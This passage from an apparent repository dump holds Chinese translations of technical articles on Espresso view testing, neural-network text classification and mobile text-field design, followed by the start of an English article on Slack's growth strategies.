的页面布局中你很少会看到“原始”的 Android 视图。\n\n让我们使用 BDD 风格来编写这些视图测试，比如“当 MovieItemView 被绑定到 Edward Scissorhands 上，标题就被设置成 Edward Scissorhands”或者“MovieItemView 被绑定到 Edward Scissorhands 上，当点击视图时，onClick(Edward Scissorhands) 就会被调用”，等等。（译者注：BDD（Behaviour Driven Development），倾向于断言被测对象的行为特征而非输入输出。一个典型的 BDD 的测试用例包活完整的三段式上下文，测试大多可以翻译为 `Given-When-Then` 的格式，即某种场景下，发生了事件，导致了什么结果。）\n\n## 难道不能使用单元测试来捕获这些问题吗？ ##\n\n如果你正在使用像 MVP 或者 MVVM 这样可被单元测试的表现模式，为什么还需要 Espresso 来运行这些测试呢？\n\n首先，让我们来看一下展示信息的流程并且描述一下目前所能做的测试，然后再看看使用 Espresso 测试能多做些什么。\n\n- Presenters 订阅发送事件的数据生成器\n\n- 事件可以处于`加载中`，`空闲`或`错误`状态，并且可能带有要展示的数据\n\n- Presenters 将使用 `display(List<Movie>)`，`displayCachedDataWhileLoading(List<Movie>)` 或 `displayEmptyScreen()` 等方法将这些事件转发给“displayers”（MVP 中的“View”）。\n\n- displayers 的具体实现类将显示/隐藏 Android 视图，并执行诸如 `moviesView.bind(List<Movie>)` 之类的操作\n\n你可以对 presenters 进行单元测试，验证是否调用了 displayers 正确的方法并且带有正确的参数。\n\n你可以用相同的方式测试 displayers 吗？是的，你是可以模拟 Android 视图，并验证是否调用了正确的方法。但这样的粒度并不是我们想要的：\n\n- displayer 可能确实构建或更新了 RecyclerView 或 ViewPager 适配器，但这并不代表显示了正确的内容。\n\n- Android 视图是通过在代码中加载 XML（布局和样式）设置的；验证方法的调用不足以断言显示的内容是否正确\n\n## 设置测试用例 ## \n\n就从使用 [`espresso-support`](https://github.com/novoda/spikes/tree/master/espresso-support) 这个库开始吧。\n\n在你的 build.gradle（JCenter 可用）里添加依赖\n\n```\ndebugCompile 'com.novoda:espresso-support-extras:0.0.3'  \nandroidTestCompile 'com.novoda:espresso-support:0.0.3'\n```\n\n`extras` 依赖包中包含了 `ViewActivity`，在测试时需要将其添加到你的应用中。你可以在该 Activity 持有想要使用 Espresso 测试的单一视图。\n\n核心部分（包含自定义测试规则）只需要作为 `androidTest` 依赖中的一部分。\n\n`ViewTestRule` 使用方法与 `ActivityTestRule` 类似。只不过是将传递的参数从想要启动的 Activity 类替换成了包含你想要测试的视图的布局文件：\n\n```\n@RunWith(AndroidJUnit4.class)publicclassMovieItemViewTest{  \n  @Rule\n  public ViewTestRule<MovieItemView> viewTestRule=newViewTestRule<>(R.layout.test_movie_item_view);\n  ...\n```\n\n你可以使用 `ViewTestRule<MovieItemView>` 指定根布局的视图类型。\n\n`ViewTestRule` 继承了 `ActivityTestRule<ViewActivity>`，所以它总会打开 `ViewActivity`。 `getActivityIntent()` 被重写了，所以你可以将 `R.layout.test_movie_item_view` 作为 Intent 的附加数据传递给 `ViewActivity`。\n\n你可以在测试中使用 Mockito 代替回调函数。\n\n```\n@Rule\npublic MockitoRule mockitoRule = MockitoJUnit.rule();\n\n@Mock\nMovieItemView.Listener movieItemListener;\n\n@Before\npublicvoidsetUp(){  \n  MovieItemView view = viewTestRule.getView();\n  view.attachListener(movieItemListener);\n  ...\n }\n```\n\nViewTestRule 有一个 `bindViewUsing(Binder)` 方法，该方法会返回视图的引用，以便你与之进行交互。当你使用 `viewTestRule.getView()` 直接访问视图时，你会希望与视图的所有交互都是在主线程上执行的，而非测试线程。\n\n```\n@Before\npublic void setUp() {  \n  MovieItemView view = viewTestRule.getView();\n  view.attachListener(movieItemListener);\n  viewTestRule.bindViewUsing(new ViewTestRule.Binder<MovieItemView>() {\n    @Override\n    public void bind(MovieItemView view) {\n      view.bind(EDWARD_SCISSORHANDS);\n    }\n  });\n}\n```\n\n## 准备测试 ## \n\n从用户的角度上来看，应用其实只做了两件事情：\n\n- 展示信息\n\n- 响应用户的操作\n\n要为这两种情况编写测试，你可以先从使用标准的 Espresso ViewMatchers 和 ViewAssertions 语句断言是否显示正确的信息开始：\n\n```\n@Test\npublic void titleSetToMovieName() {  \n  onView(withId(R.id.movie_item_text_name))\n      .check(matches(withText(EDWARD_SCISSORHANDS.name)));\n}\n```\n\n接着，你应该确保用户的操作触发了正确的点击事件，并且具有正确的参数：\n\n```\n@Test\npublic void clickMovieItemView() {  \n  onView(withClassName(is(MovieItemView.class.getName())))\n      .perform(click());\n\n  verify(movieItemListener)\n      .onClick(eq(EDWARD_SCISSORHANDS));\n}\n```\n\n到这里就完成了，希望这些知识对你有用。\n\n在接下来的文章里，我会介绍如何使用 Espresso 测试视图时支持 TalkBack 服务（译者注：Talkback 是一款由谷歌官方开发的系统工具软件，它的定位是帮助盲人或者有视力障碍的用户提供语言辅助）。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/text-classification-using-neural-networks.md",
    "content": "> * 原文地址：[Text Classification using Neural Networks](https://machinelearnings.co/text-classification-using-neural-networks-f5cd7b8765c6#.vvfa01t9r)\n* 原文作者：[gk_](https://machinelearnings.co/@gk_)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Kulbear](https://github.com/kulbear)\n* 校对者：[luoyaqifei](https://github.com/luoyaqifei)，[hikerpig](https://github.com/hikerpig)\n\n# 用神经网络进行文本分类\n\n理解[聊天机器人如何工作](https://medium.com/p/how-chat-bots-work-dfff656a35e2)是很重要的。聊天机器人内部一个基础的组成部分是**文本分类器**。让我们一起来探究一个用于文本分类的人工神经网络的内部结构。\n\n![](https://cdn-images-1.medium.com/max/800/1*DpMaU1p85ZSgamwYDkzL-A.png)\n\n多层人工神经网络\n\n我们将会使用两层神经元（包括一个隐层）和词袋模型来组织（organizing 似乎有更好的选择，求建议）我们的训练数据。[有三种聊天机器人文本分类的方法](https://medium.com/@gk_/how-chat-bots-work-dfff656a35e2#.3zb2b9g2v)：**模式匹配**，**算法**，**神经网络**。尽管[基于算法的方法](https://medium.com/@gk_/text-classification-using-algorithms-e4d50dcba45#.mho4fx7e5)使用的多项式朴素贝叶斯方法效率惊人，但它有三个根本性的缺陷：\n\n- **该算法的输出是一个评分**而非概率。我们想要的是一个概率，它可以直接应用于给定阈值的从而忽略一些预测结果，就像忽略收音机里呲呲啦啦的背景高频噪声。\n- 该算法从一类数据中“学习”什么**是**这一类数据，而非什么**不是**这一类数据\n。然而对于非某一类数据的模式学习通常也是十分重要的。\n- 一些不成比例分布的训练数据类型会使分类结果失真，强制使算法根据类型数据量**调整输出分数**，这并不理想。\n\n打一个简单的比方，这样一个分类器并没有尝试去理解**一句话的意思**，而是试图直接对这句话进行分类。事实上，所谓的“人工智能聊天机器人”并不会真的理解语言，不过那便是[另一个故事](https://medium.com/@gk_/the-ai-label-is-bullshit-559b171867ff#.cqbwy3eb7)了。\n\n#### 如果人工神经网络对你来说很陌生，那你可以先读一读[他们是如何工作的](https://medium.com/@gk_/how-neural-networks-work-ff4c7ad371f7).\n\n#### 想要理解基于上述算法的方法，可以看[这里](https://chatbotslife.com/text-classification-using-algorithms-e4d50dcba45).\n\n让我们分析下我们的文本分类器，一次一部分，我们将采取如下步骤：\n\n1. 我们所需要的**库** \n2. 提供**训练数据**\n3. **组织整理**数据 \n4. **迭代**: 编写代码 + 测试预测结果 + 调整模型\n5. **抽象**\n\n代码可参见[这里](https://github.com/ugik/notebooks/blob/master/Neural_Network_Classifier.ipynb)，我们使用 [iPython notebook](https://ipython.org/notebook.html) 这个在数据科学领域极其高效的工具，编程语言使用的是 Python。\n\n我们首先引入将要使用的自然语言工具库。我们需要可靠地将整句话分词，并对词进行词干化处理。\n\n![](https://ww1.sinaimg.cn/large/006y8lVagy1fcfejony8zj31880do0ua.jpg)\n\n这是我们的训练数据，12 句话，分属于三个不同类别。 (‘intents’).\n\n![](https://ww1.sinaimg.cn/large/006y8lVagy1fcfeo19k6qj316g0p8q89.jpg)\n\n    训练集中的 12 句话\n\n现在我们开始以**文档**，**类别**和**词语**为标准整理我们的数据结构。\n\n![](https://ww3.sinaimg.cn/large/006y8lVagy1fcfeokdewnj316q106n2k.jpg)\n\n    12 文档\n    3 个类别 ['greeting', 'goodbye', 'sandwich']\n    26 个唯一词干 ['sandwich', 'hav', 'a', 'how', 'for', 'ar', 'good', 'mak', 'me', 'it', 'day', 'soon', 'nic', 'lat', 'going', 'you', 'today', 'can', 'lunch', 'is', \"'s\", 'see', 'to', 'talk', 'yo', 'what']\n\n这里需要注意的是，每个词语在这里都已经是全小写并且只被词干化处理。保留基本形式可以让机器将 \"have\" 和 \"having\" 这类词语同等看待。我们不关心大小写的问题。\n\n![](https://cdn-images-1.medium.com/max/600/1*eUedufAl7_sI_QWSEIstZg.png)\n\n我们将训练数据中的每句话被转换为词袋模型的形式\n\n![](https://ww1.sinaimg.cn/large/006y8lVagy1fcfepqvg50j319013ydlw.jpg)\n\n    ['how', 'ar', 'you', '?']\n    [0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n    [1, 0, 0]\n\n上述步骤是文字分类任务中典型的一环：将每个训练数据的句子转换为一个对应于完整词袋中单词位置的，由 0 和 1 组成的数组。\n\n    ['how', 'are', 'you', '?']\n\n被处理后：\n\n    ['how', 'ar', 'you', '?']\n\n然后转换到输入数据的格式: **每个 1 代表这个位置的词在我们的词袋中（问号被忽略了）**\n\n    [0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n\n输出：**第一类**\n\n    [1, 0, 0]\n\n注意，一个句子可能会被分为多类，或者**无分类**。\n\n确保你理解了上面的内容以后，让我们将视线放到代码部分。\n\n#### 机器学习中最重要的一步，是获取干净的数据\n\n![](https://cdn-images-1.medium.com/max/600/1*CcQPggEbLgej32mVF2lalg.png)\n\n接下来我们将学习单隐层网络（译者注：单隐层即原文中的 2-layer NN）中的核心功能部分。\n\n如果人工神经网络对你来说很陌生，那你可以先读一读[他们是如何工作的](https://medium.com/@gk_/how-neural-networks-work-ff4c7ad371f7).\n\n我们使用 [numpy](http://www.numpy.org/)，因为它可以提供快速的矩阵乘法运算。\n\n![](https://cdn-images-1.medium.com/max/600/1*8SJcWjxz8j7YtY6K-DWxKw.png)\n\n我们使用 sigmoid 函数做激活函数，用它的导数进行错误率的衡量。在错误率到达理想的较低水平前，反复迭代并调整权重。\n\n此外，下面我们编写了我们的词袋模型函数，将输入的一句话转为由 0 和 1 组成的数组。这是我们转换训练数据形式的重要一步，完成它非常关键。\n\n![](https://ww4.sinaimg.cn/large/006y8lVagy1fcfetz7xn9j312w1leag3.jpg)\n\n接下来编写神经网络训练函数来获取连接权重，先别激动，这也就是高中数学课级别的矩阵乘法而已。\n\n![](https://ww2.sinaimg.cn/large/006y8lVagy1fcfexdjb5qj312w2ohqg4.jpg)\n\n\ncredit Andrew Trask [https://iamtrask.github.io//2015/07/12/basic-python-network/](https://iamtrask.github.io//2015/07/12/basic-python-network/) （编者注：由于排版的原因导致上图中的代码没有显示完整，如需查看完整代码请访问 [gist.github.com/ugik/70e055894f686bbbe1d052c649799148#file-text_ann_part6](https://gist.github.com/ugik/70e055894f686bbbe1d052c649799148#file-text_ann_part6)）\n\n现在我们准备好建立第一个神经网络**模型**了。我们将把连接权重数据存为单独的 JSON 数据文件。\n\n你应该尝试不同的 alpha (梯度下降参数，译者：通常称为学习率) 并且观察它是如何影响错误率的。这个参数帮助我们调整错误并找到错误率最低的情况：\n\nsynapse_0 += **alpha** * synapse\\_0\\_weight\\_update\n\n![](https://cdn-images-1.medium.com/max/800/1*HZ-YQpdBM4hDbh4Q5FcsMA.png)\n\n在隐层中我们使用了 20 个神经元，你可以很简单的调整这个数量。它的数量主要取决于你数据的维度和量级。通过调整你可以达到大约 10^-3 的错误率结果。\n\n![](https://ww3.sinaimg.cn/large/006y8lVagy1fcff04a6v1j31540fs40c.jpg)\n\n    Training with 20 neurons, alpha:0.1, dropout:False\n    Input matrix: 12x26    Output matrix: 1x3\n    delta after 10000 iterations:0.0062613597435\n    delta after 20000 iterations:0.00428296074919\n    delta after 30000 iterations:0.00343930779307\n    delta after 40000 iterations:0.00294648034566\n    delta after 50000 iterations:0.00261467859609\n    delta after 60000 iterations:0.00237219554105\n    delta after 70000 iterations:0.00218521899378\n    delta after 80000 iterations:0.00203547284581\n    delta after 90000 iterations:0.00191211022401\n    delta after 100000 iterations:0.00180823798397\n    saved synapses to: synapses.json\n    processing time: 6.501226902008057 seconds\n\nsynapse.json 文件中包括了我们需要的所有连接权重数据，**这就是我们的模型**\n\n![](https://cdn-images-1.medium.com/max/800/1*qYkCgPE3DD26VD-qDwsicA.jpeg)\n\n这个 **classify()** 函数是连接权重计算完毕后我们唯一所需要的了：十几行代码而已。\n\n备注：如果训练数据有变化，我们的模型也需要重新计算。对于一个较大的训练数据量来说，这个过程可能会非常耗时。\n\n现在我们可以生成关于一个句子属于某一类（或者分属某几类）的概率了。因为这只是一些我们在 **think()** 函数中定义好的点乘计算，所以速度非常快。\n\n![](https://ww2.sinaimg.cn/large/006y8lVagy1fcff0v3wnqj31640zwn31.jpg)\n\n    **sudo make me a sandwich **\n     [['sandwich', 0.99917711814437993]]\n    **how are you today? **\n     [['greeting', 0.99864563257858363]]\n    **talk to you tomorrow **\n     [['goodbye', 0.95647479275905511]]\n    **who are you? **\n     [['greeting', 0.8964283843977312]]\n    **make me some lunch**\n     [['sandwich', 0.95371924052636048]]\n    **how was your lunch today? **\n     [['greeting', 0.99120883810944971], ['sandwich', 0.31626066870883057]]\n\n你可以用其它语句、不同概率来试验几次，也可以添加训练数据来改进／扩展当前的模型。多加小心 看这里用很少的训练数据就得出了好的结果。\n\n有一些句子将会有多个预测结果输出（高于阈值）。你需要给你的程序设定一个合适的阈值。并不是每个分类情景都是一样的：**有些类别比其他类别需要更大的置信水平**。 \n\n最后这个分类结果向我们展示了一些内部的细节：\n\n    found in bag: good\n    found in bag: day\n    sentence: **good day**\n     bow: [0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]\n    good day\n     [['greeting', 0.99664077655648697]]\n\n从这个句子的词袋中可以看到，有两个单词和我们的词库是匹配的。同时我们的神经网络从这些 0 代表的非匹配词语中学习了。\n\n如果提供一个仅仅有一个常用单词 ‘a’ 被匹配的句子，那我们会得到一个低概率的分类结果A：\n\n    found in bag: a\n    sentence: **a burrito! **\n     bow: [0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]\n    a burrito!\n     [['sandwich', 0.61776860634647834]]\n\n现在你已经掌握了一些构建聊天机器人的基础知识结构。当你明白了如何处理大量不同类别的任务，并用有限的数据（模式）去完成对它们的适配之后。给一个目标添加几个相应的预测结果是轻而易举的。\n\n#### 午时已到!\n\n![](https://cdn-images-1.medium.com/max/800/1*qfqiMxeF2coed4oBign6IQ.jpeg)\n"
  },
  {
    "path": "TODO/text-fields-in-mobile-app.md",
    "content": ">* 原文链接 : [Text Fields in Mobile App](https://uxplanet.org/text-fields-in-mobile-app-11d41f13e31#.pjomtd59r)\n* 原文作者 : [Nick Babich](http://babich.biz/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zhangjd](https://github.com/zhangjd)\n* 校对者: [Jasper Zhong](https://github.com/DeadLion), [Velacielad](https://github.com/Velacielad)\n\n# 如何在移动 APP 中设计输入框\n\n![](https://cdn-images-1.medium.com/max/800/1*Mv1Jk8roDxeLZ8j1DoYNfQ.png)\n\n<figcaption>图片来源: Material Design</figcaption>\n\n交互设计在移动设备上遇到了许多挑战。其中一个最具挑战的问题是：在用户输入时如何利用有限的屏幕空间，其关键在于产品设计师、开发者和产品经理需要理解对于用户来说怎么样输入是最为简单的。\n\n这篇文章列出了三个改善数据输入体验的关键因素，分别是 _改进输入速度_，_为用户提供帮助和支援_ 和 _在用户输入时直接指出问题所在_。\n\n### 输入\n\n#### 根据需要输入的文本类型匹配键盘布局\n\n用户喜欢那些在输入文本时能够提供合适键盘布局的应用。不像物理键盘，触摸键盘可以随时调整，根据每个表单域的不同数据类型，为用户提供不同的键盘布局。通常可以进行优化的输入类型包括：\n\n*   _数字_: 电话号、信用卡号、PIN 码\n*   _文本_: 固有名称、用户名\n*   _混合格式_: 邮箱地址、街道地址、搜索查询\n\n确保这些项可以在你的 app 中 **持续地** 进行优化，而不是只在某些特定任务中优化。\n\n![](https://cdn-images-1.medium.com/max/800/1*kxiM7U6cuaB-NQUpn-Nr8g.png)\n\n<figcaption>图片来源：谷歌</figcaption>\n\n#### 合理配置自动大写功能\n\n如何合理地设置自动大写，对于移动端表单域的可用性是很重要的。如果语言本身有要求，每个文本框的首字母和每句话的开头字母都应该大写。相关例子：\n\n*   询问用户的姓名\n*   包含句子的信息，比如短信\n\n但是，要注意不让电子邮件的文本框开启自动首字母大写，当用户发现时，可能会返回删除大写的首字母再改回小写，因为他们会担心邮件不能正常发送。\n\n![](https://cdn-images-1.medium.com/max/800/1*f64JtWvrYIPddHciDaOC0Q.png)\n\n<figcaption>图片来源：Baymard</figcaption>\n\n#### 当词典不够智能时，关闭自动纠错\n\n_用户反感低效的自动纠错功能，如果用户没有发现这个功能，可能还会造成问题。_当用户发现自动纠错功能对于那些单词缩写、街道名称、邮箱、人名和一些不在字典的单词表现非常糟糕的时候，是极其影响用户体验的。\n\n在老版本的亚马逊 app 中，地址栏曾经有自动纠错功能，却导致了正确地址被这个功能改写为错误的。\n\n![](https://cdn-images-1.medium.com/max/800/1*OWDLp1jvxj2PyFy08Bxc4g.png)\n\n<figcaption>图片来源：Baymard</figcaption>\n\n这种情况经常会发生，因为_用户通常只关注了他们正在输入什么，而不是他们已经输入的内容。_对于地址信息，这样会导致用户输入的有效地址被自动纠错改成了无效地址，而用户却没有留意到自动纠错已经发生，最终提交了错误的地址。\n\n#### **固定的输入格式**\n\n_不要使用固定输入格式。_强制使用固定格式的最常见原因，是受到验证脚本的限制（难道后端不能确定所需要的格式？）。在大部分情况下，这是开发的责任，而非用户。与其强迫用户输入某些特定格式，比如电话号码，不如想办法把用户输入转化为你想要显示或者存储的格式。\n\n![](https://cdn-images-1.medium.com/max/800/1*9Khj17wpCJc2RntjrNbsWQ.png)\n\n<figcaption>图片来源：Google</figcaption>\n\n#### 默认值和自动完成\n\n你应该频繁预测用户的选择项，通过提供智能预测的默认值，或者基于过去输入内容的提示，使得用户更加容易地输入内容。比如，你可以通过用户的地理位置信息，预测用户所属国家。\n\n这个解决方案可以和自动完成功能配合使用，让用户输入速度显著提升。自动完成会在下拉列表中实时地列出建议，使得用户可以更加准确和有效地完成输入。这对于那些语言水平不高或者忘记拼写的用户非常有用，尤其是输入非母语的时候。\n\n![](https://cdn-images-1.medium.com/max/800/1*eItk9M2fg9Li6ZEh9xziEg.png)\n\n<figcaption>带有提示的文本域。图片来源：Material Design</figcaption>\n\n### 标签和帮助信息\n\n用户想要知道在输入框中填入哪种信息，清晰的标签正是一种让 UI 更加易于理解的方式。标签告诉用户每个输入框的目的，在表单域获得焦点甚至完成输入后，保持其有效性。\n\n你还应该在表单域的上下文提供帮助信息。提供相关的语境信息，可以帮助用户更加容易地完成操作。\n\n#### 限制单词数\n\n标签并非帮助文字，你应当使用简明扼要的标签（一两个单词），使得用户可以快速了解你的文本域。\n\n![](https://cdn-images-1.medium.com/max/800/1*8qJ_57advUKzVHH73yQ_Pg.png)\n\n<figcaption>‘Phone’, ‘Check in’, ‘Check out’ 都是输入框的标签</figcaption>\n\n如果有需要可以对表单域提供更多信息，当用户面对有用的信息，可以用于消除困惑或者减少潜在的错误。\n\n![](https://cdn-images-1.medium.com/max/800/1*3fHQN7BHQUaBFK31Zr1hbg.png)\n\n<figcaption>在 ‘Phone’ 表单域下面的信息就是帮助文本。图片来源: Google</figcaption>\n\n#### 语言简单化\n\n_从用户的角度出发。_ 未知的术语和词组会增大用户的认知成本。清晰的传达方式和实用性应该总是优先于专业术语和品牌信息。\n\n![](https://cdn-images-1.medium.com/max/800/1*P3dJ7JrBTBNKKqvC3eSVsA.png)\n\n<figcaption>左边：非传统的术语可能让用户感到迷惑。右边：术语更加清晰和易于理解。</figcaption>\n\n#### 内联标签\n\n内联标签（或者占位符文本）对于简单的表单域非常合适，比如用户名或者密码。\n\n![](https://cdn-images-1.medium.com/max/800/1*knRzBR03ppWJJ1Ka5BYkRg.gif)\n\n<figcaption>图片来源: [snapwi](https://www.snapwi.re/)</figcaption>\n\n但是当页面超过两个表单域时，用占位符文本来代替分离的文本标签就不合适了。占位符确实非常流行，看起来也不错，但是它有两个严重的问题：\n\n*   一旦用户点击了文本域，标签就消失了，因此用户不能再次检查输入内容是不是表单要求填写的。\n*   当用户看见文本框有内容的时候，可能会以为这个地方预先填充了内容，并因此而忽略填写。\n\n其中一个占位符的优化方案是 _浮动标签 —_ 当用户填写这个表单域时，可浮动的内联标签就会移到表单域的上方。\n\n![](https://cdn-images-1.medium.com/max/800/1*5bTgQotfDCuGQDN2aT1lbA.gif)\n\n<figcaption>浮动内联标签。来源: [Dribbble](https://dribbble.com/shots/1254439--GIF-Float-Label-Form-Interaction)</figcaption>\n\n**建议：** 不要只依赖于占位符或者标签。一旦文本域被填写了内容，占位符文字就看不见了。你可以使用浮动标签，以确保用户可以知道他们填写的内容是否正确。\n\n#### 标签颜色\n\n标签颜色应该和 app 的配色方案相关，同时应该有合适的对比度（不应该太亮或者太暗）。\n\n![](https://cdn-images-1.medium.com/max/800/1*q7wWnvpes3AzaGdI4H7M6g.png)\n\n<figcaption>图片来源: Material Design</figcaption>\n\n### 验证\n\n表单域验证是为了和用户对话，并引导他们处理错误和不确定信息。其输出内容应该是感性而非纯技术的。在数据处理中，其中一个最重要但是通常不被人喜爱的部分就是数据处理。犯错是人之常情，你输入的内容也不例外。如果做得好的话，验证可以把模糊不清的交互步骤变得更加清晰。\n\n#### 实时验证\n\n用户可不喜欢当他们填完了所有信息，最后点击提交的时候，才发现信息有错误。告知用户输入内容是否正确的最佳时机，是在用户填完内容后立刻告知用户。\n\n_实时内联验证_可以马上告知用户输入的正确性。这个方法让用户更快地改正错误，而不需要等到他们按下提交按钮。错误状态可以使用对比色，比如暖色调的红色或者橙色。\n\n![](https://cdn-images-1.medium.com/max/800/1*hwtem6mCBFr-ebuwD7mjGw.png)\n\n<figcaption>提交时验证 vs 实时验证。图片来源: Google</figcaption>\n\n验证过程不仅应该告诉用户他们做错了，还应该告诉用户他们做的不错。这样可以给用户信心来完成余下的输入过程。\n\n![](https://cdn-images-1.medium.com/max/800/1*kuLnXBjp_4KZx9KRktKnSQ.gif)\n\n<figcaption>图片来源: [Dribbble](https://dribbble.com/shots/1059244-OnSite-Form-Validation-GIF)</figcaption>\n\n#### 清晰的反馈\n\n对于用户问题——“刚才发生了什么？为什么会这样？”，应该直接给出答案，有效的回答应该清晰说明：\n\n*   发生了什么错误，可能原因是什么。\n*   用户应该做什么来改正错误。\n\n再次提醒，应该避免出现技术术语。这个原则很简单，但是有时候很容易忽略。\n\n#### 正确的颜色\n\n_颜色是设计验证时的最佳工具之一。_ 由于人的视觉本能，红色错误信息、黄色警告信息、绿色成功信息都是非常易于识别的。下图是验证密码强度一个很好的示例：\n\n![](https://cdn-images-1.medium.com/max/800/1*9x2dm9CC2TFSVXLx5IrB7A.png)\n\n<figcaption>密码表单域的警告状态</figcaption>\n\n另一个例子是用于表单域字符限制的提示颜色。字数计数器和边框线条变红的时候，说明字数超过了限制。\n\n![](https://cdn-images-1.medium.com/max/800/1*88yUJWX9w2VH1TxLvDeqGw.png)\n\n<figcaption>图片来源: Material Design</figcaption>\n\n但是不要只依赖于颜色来反馈验证信息！[确保界面对于用户是可理解的](https://uxplanet.org/accessible-interface-design-3c59ee3ec730#.budh6j6jf)，这对于视觉设计执行而言，是一个非常重要的方面。\n\n### 结论\n\n你应该让数据输入的过程尽可能简单。每一个微小的工作，比如自动大写转换或者指明每个表单域填写什么信息，都可以有效提高表单域的可用性和交互设计的质量。深入思考用户实际上是如何使用应用和输入内容的。当设计 app 时，确保没有遗漏上述提及的问题。\n\n"
  },
  {
    "path": "TODO/the-10-unique-ways-slack-hacked-growth-to-become-a-4-billion-company.md",
    "content": "\n  > * 原文地址：[The 10 Unique Ways Slack Hacked Growth to Become a $4 Billion Company](https://blog.markgrowth.com/the-10-unique-ways-slack-hacked-growth-to-become-a-4-billion-company-2d7c50b4df25)\n  > * 原文作者：[Pavan Belagatti](https://blog.markgrowth.com/@pavanbelagatti)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-10-unique-ways-slack-hacked-growth-to-become-a-4-billion-company.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-10-unique-ways-slack-hacked-growth-to-become-a-4-billion-company.md)\n  > * 译者：\n  > * 校对者：\n\n  # The 10 Unique Ways Slack Hacked Growth to Become a $4 Billion Company\n\n  ![](https://cdn-images-1.medium.com/max/2000/1*P-gV_CFbvJhtHnKhYaQdaQ.jpeg)\n\n> “Life is too short to do mediocre work, and it is definitely too short to build shitty things.” — [Stewart Butterfield](https://twitter.com/stewart), Co-founder of [Slack](https://slack.com/)\n\nHead over to Google trends and see the interest over time for the keyword ‘Slack’.\n\n![](https://cdn-images-1.medium.com/max/1600/1*I-K3MDbkr79ouykjCWlWCg.png)\n\n*Interest in Slack as Shown on Google Trends*\n\nIt is **up and growing**. In such a small amount of time, how did Slack made it possible?\n\nLet us see some amazing hacks that Slack used to grow and get till here.\n\nThis is the DAU (Daily Active Users) chart of Slack\n\n![](https://cdn-images-1.medium.com/max/1600/0*WdR94hizvRKl1xUm.)\n\n*Image via *[*Business Insider*](http://www.businessinsider.in/Billion-dollar-startup-Slack-says-its-adding-1-million-in-new-contracts-every-11-days/articleshow/46220352.cms)\n\nIn fact, the Slack discovery was an incidental act, Stewart Butterfield and his team were working on a games app called Glitch, when their team realized how problematic it was to communicate within the organization and what an opportunity they had to streamline it. Thus, Slack was created.\n\n![](https://cdn-images-1.medium.com/max/1600/0*kSk0kaUS9c2M6UrD.)\n\nNo doubt Slack made it very clear in the minds of its audience about its positioning — defining a new space and then claiming a leadership position in that space. Apart from this, there are some unique ways through which Slack hacked its growth and we are to discuss some primary ones of them today.\n\n### **The Personal Branding Hack**\n\nStewart Butterfield has been a well-known guy since long. He was the co-founder of **Flickr** & became even more famous after its acquisition by Yahoo. Everyone wanted to know what Stewart’s next move would be, and even before he started Slack, he has had a good follower base. Hence, it would be safe to say that when he co-founded Slack, many of his fans from his days back at Flickr **followed him right to his next adventure**.\n\n![](https://cdn-images-1.medium.com/max/1600/0*PHFZm4pz4GVxfSsj.)\n\n*Stewart Butterfield. Image via Flickr*\n\nOne thing to mention here, when you have a smart and famous personality as one of the founding partners, you need lesser marketing efforts to convince people to try out your product, and this is surely one factor that has helped Slack.\n\nAlso, as mentioned in a Quora discussion about [the importance of personal branding for early stage startups](https://www.quora.com/How-important-is-personal-branding-of-founders-for-early-stage-startups), most of the people do personal branding wrong as they think it is about being something you are not or by becoming too glossy. However, Butterfield did it **entirely differently**:\n\n*“Look at *[*Stewart Butterfield*](https://www.quora.com/profile/Stewart-Butterfield)* from Slack for a good example as to how to do it right. I’ve rarely seen of a founder’s personal brand shining through like his honesty and candor. He swears, he has bombast but has not changed who he is or how he looks.” — Ed Zitron*\n\n### **Perfect Timing Hack**\n\nThe **increase in our dependence on the internet** for work and everything else meant the number of emails being sent and received to make sense of the growing load of work increased big time. And of course it didn’t help make sense of the work but rather increased our ‘**inbox-phobias**’.\n\n![](https://cdn-images-1.medium.com/max/1600/0*3HlPH5iNMubov-hY.)\n\n*An example of how email inboxes of many of us look like.*\n\nSlack found a** perfect opportunity** for helping people reduce their email load and/or to find a better medium to communicate and manage projects instead of email. Their timing for pitching an alternative to email, which is quick, reliable and useful was perfect, and Slack entered the market at **the most optimal time**. When you enter the market with a reliable product while others are lagging, you will lead, and you will have a **first mover advantage**.\n\n*It is also safe to say that Slack wasn’t built to replace any project management platforms like TeamWork, Asana or Trello since it offers integrations with many of them (no integration for TeamWork as yet). This is a smart way to ensure that these other apps don’t see Slack as a competitor but rather an ‘enabler’. If Slack wasn’t built this way, then the timing to enter the market wouldn’t have been right, but then again, in that case it would have been a very different product than what it is right now.*\n\n### **The UI/UX Hack**\n\nSlack has been pretty focused on ensuring that the look and feel of its website and apps ensure** smooth communication** between team members. Their primary motive has been to make the product so intuitive that their users can use it without any guide or a product tutorial. If you haven’t used Slack already; do give it a try. You will realize that you don’t need a detailed manual to **start using it like a pro**.\n\n***How did this happen?***\n\nStewart Butterfield hired a design agency **MetaLab **run by Andrew Wilkinson. Andrew wrote a story on Slack’s design principles (or should we say obsession), and you can read it here [Slack’s secret sauce](https://medium.com/@awilkinson/slack-s-2-8-billion-dollar-secret-sauce-5c5ec7117908).\n\n![](https://cdn-images-1.medium.com/max/1600/0*QZivnsQCuiwfW3wS.)\n\n*Some early design iterations created by 